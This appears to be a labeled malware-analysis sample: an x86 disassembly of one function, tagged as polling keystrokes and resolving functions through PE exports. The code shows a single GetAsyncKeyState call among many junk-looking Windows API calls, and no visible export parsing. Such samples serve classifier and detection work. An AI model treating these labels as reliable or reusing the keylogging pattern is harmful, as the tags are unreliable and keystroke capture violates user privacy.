Function at 0x10001beb
Capabilities:
Log keystrokes via polling
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xf0
mov eax, dword [sym.imp.USER32.dll_CreateMenu]
call eax
mov ecx, esp
mov dword [ecx], 9
mov ecx, dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov dword [esp + 0xc4], eax
call ecx
sub esp, 4
mov ecx, esp
mov dword [ecx + 0x20], 0xfea
mov dword [ecx + 0x1c], 0x7fc
mov dword [ecx + 0x18], 0x337
mov dword [ecx + 0x14], 0xf47
mov dword [ecx + 0x10], 0x497
mov dword [ecx + 0xc], 0x666
mov dword [ecx + 8], 0xfea
mov dword [ecx + 4], 0x7b7
mov dword [ecx], 0x4383bf
mov ecx, dword [sym.imp.GDI32.dll_ArcTo]
mov word [esp + 0xc2], ax
call ecx
sub esp, 0x24
mov ecx, esp
mov dword [ecx], 0x983332
mov ecx, dword [sym.imp.KERNEL32.dll_GlobalLock]
mov dword [esp + 0xbc], eax
call ecx
sub esp, 4
mov ecx, esp
mov dword [ecx], 0x672
mov ecx, dword [sym.imp.USER32.dll_GetKeyboardType]
mov dword [esp + 0xb8], eax
call ecx
sub esp, 4
mov ecx, esp
mov dword [ecx], 0x3c9ad6
mov ecx, dword [sym.imp.USER32.dll_GetTopWindow]
mov dword [esp + 0xb4], eax
call ecx
sub esp, 4
mov ecx, esp
mov dword [ecx], 0xe2110f
mov ecx, dword [sym.imp.USER32.dll_PaintDesktop]
mov dword [esp + 0xb0], eax
call ecx
sub esp, 4
mov ecx, esp
lea edx, [esp + 0xd8]
mov dword [ecx], edx
mov ecx, dword [sym.imp.USER32.dll_SetRectEmpty]
mov dword [esp + 0xac], eax
call ecx
sub esp, 4
xor ecx, ecx
mov dword [esp + 0xa8], eax
mov dword [esp + 0xa4], ecx
jmp 0x10001d5d
mov eax, dword [esp + 0xa0]
mov ecx, 0x38e38e39
mov dword [esp + 0x9c], eax
mul ecx
shr edx, 2
imul eax, edx, 0x12
mov ecx, dword [esp + 0x9c]
sub ecx, eax
mov eax, ecx
sub eax, 4
mov dword [esp + 0x98], ecx
mov dword [esp + 0x94], eax
je 0x10001e1b
jmp 0x10001d41
mov eax, dword [esp + 0x98]
sub eax, 0xa
mov dword [esp + 0x90], eax
je 0x10001e38
jmp 0x10001dfc
mov eax, dword [esp + 0xa4]
mov ecx, esp
mov dword [ecx + 4], 0xd53
mov dword [ecx], 0x9dcb93
mov ecx, dword [sym.imp.USER32.dll_IsDlgButtonChecked]
mov dword [esp + 0x8c], eax
call ecx
sub esp, 8
mov ecx, esp
lea edx, [esp + 0xe8]
mov dword [ecx + 4], edx
mov dword [ecx], 0x64228f
mov ecx, dword [sym.imp.GDI32.dll_GetCurrentPositionEx]
mov dword [esp + 0x88], eax
call ecx
sub esp, 8
mov ecx, esp
lea edx, [esp + 0xc8]
mov dword [ecx + 4], edx
mov dword [ecx + 0xc], 0xa87
mov dword [ecx + 8], 0xe12
mov dword [ecx], 0xe15f71
mov ecx, dword [sym.imp.USER32.dll_DrawEdge]
mov dword [esp + 0x84], eax
call ecx
sub esp, 0x10
mov ecx, dword [sym.imp.USER32.dll_EmptyClipboard]
mov dword [esp + 0x80], eax
call ecx
xor ecx, ecx
mov dword [esp + 0x7c], eax
mov dword [esp + 0xa0], ecx
jmp 0x10001d02
mov eax, dword [esp + 0x9c]
add eax, 1
cmp eax, 0x177
mov dword [esp + 0xa0], eax
je 0x10001e50
jmp 0x10001d02
mov eax, esp
mov dword [eax + 4], 0x58
mov dword [eax], 0x58
mov eax, dword [sym.imp.SHLWAPI.dll_ChrCmpIW]
call eax
sub esp, 8
mov dword [esp + 0x78], eax
mov eax, esp
mov dword [eax], 0xd41
mov eax, dword [sym.imp.USER32.dll_ShowCursor]
call eax
sub esp, 4
mov dword [esp + 0x74], eax
jmp 0x10001dfc
xor eax, eax
mov ecx, esp
mov dword [ecx + 0xc], 0xdd3
mov dword [ecx + 8], 0xc51
mov dword [ecx + 4], 0x6b
mov dword [ecx], 0x63675a
mov ecx, dword [sym.imp.GDI32.dll_SetPixelV]
mov dword [esp + 0x70], eax
call ecx
sub esp, 0x10
xor ecx, ecx
mov edx, dword [esp + 0x8c]
sub edx, 6
mov dword [esp + 0x6c], eax
mov dword [esp + 0x68], ecx
mov dword [esp + 0x64], edx
je 0x10001fbb
jmp 0x10001e9e
mov eax, dword [esp + 0x8c]
sub eax, 0x1e
mov ecx, dword [esp + 0x68]
mov dword [esp + 0x60], eax
mov dword [esp + 0x5c], ecx
jne 0x10001f16
jmp 0x10001eb8
mov eax, esp
mov dword [eax + 0xc], 0x1e6
mov dword [eax + 8], 0xecd
mov dword [eax + 4], 0x488
mov dword [eax], 0x1e6
mov eax, dword [sym.imp.GDI32.dll_CreateRectRgn]
call eax
sub esp, 0x10
mov ecx, esp
mov dword [ecx], 0xdc5c1c
mov ecx, dword [sym.imp.SHLWAPI.dll_SHCreateShellPalette]
mov dword [esp + 0x58], eax
call ecx
sub esp, 4
mov ecx, esp
mov dword [ecx], 0x54ef7e
mov ecx, dword [sym.imp.GDI32.dll_WidenPath]
mov dword [esp + 0x54], eax
call ecx
sub esp, 4
mov dword [esp + 0x50], eax
jmp 0x10001fbb
mov eax, dword [esp + 0x5c]
mov ecx, esp
mov dword [ecx], 0x246
mov ecx, dword [sym.imp.KERNEL32.dll_SetThreadExecutionState]
mov dword [esp + 0x4c], eax
call ecx
sub esp, 4
mov ecx, dword [esp + 0x4c]
add ecx, 1
mov edx, esp
mov dword [edx], 0x978738
mov edx, dword [sym.imp.GDI32.dll_GetBkMode]
mov dword [esp + 0x48], eax
mov dword [esp + 0x44], ecx
call edx
sub esp, 4
mov ecx, esp
mov dword [ecx], 0xc9bc5b
mov ecx, dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov dword [esp + 0x40], eax
call ecx
sub esp, 4
mov ecx, esp
mov dword [ecx + 4], 0x8c6
mov dword [ecx], 0x10f
mov ecx, dword [sym.imp.KERNEL32.dll_SetProcessShutdownParameters]
mov dword [esp + 0x3c], eax
call ecx
sub esp, 8
mov ecx, esp
mov dword [ecx], 0xb32932
mov ecx, dword [sym.imp.USER32.dll_OpenIcon]
mov dword [esp + 0x38], eax
call ecx
sub esp, 4
mov ecx, dword [esp + 0x44]
cmp ecx, 0xa
mov dword [esp + 0x34], eax
mov dword [esp + 0x5c], ecx
je 0x10001ff2
jmp 0x10001f16
mov eax, dword [esp + 0x8c]
add eax, 1
mov ecx, esp
mov dword [ecx], 0xf5a250
mov ecx, dword [sym.imp.KERNEL32.dll_GetLargestConsoleWindowSize]
mov dword [esp + 0x30], eax
call ecx
sub esp, 4
mov ecx, dword [esp + 0x30]
mov dword [esp + 0x2c], eax
mov dword [esp + 0xa4], ecx
jmp 0x10001d5d
mov eax, esp
mov dword [eax], 0xf5a250
mov eax, dword [sym.imp.KERNEL32.dll_GetLargestConsoleWindowSize]
call eax
sub esp, 4
mov ecx, dword [esp + 0x8c]
add ecx, 1
cmp ecx, 0x12
mov dword [esp + 0x28], eax
mov dword [esp + 0xa4], ecx
jne 0x10001d5d
mov esp, ebp
pop ebp
ret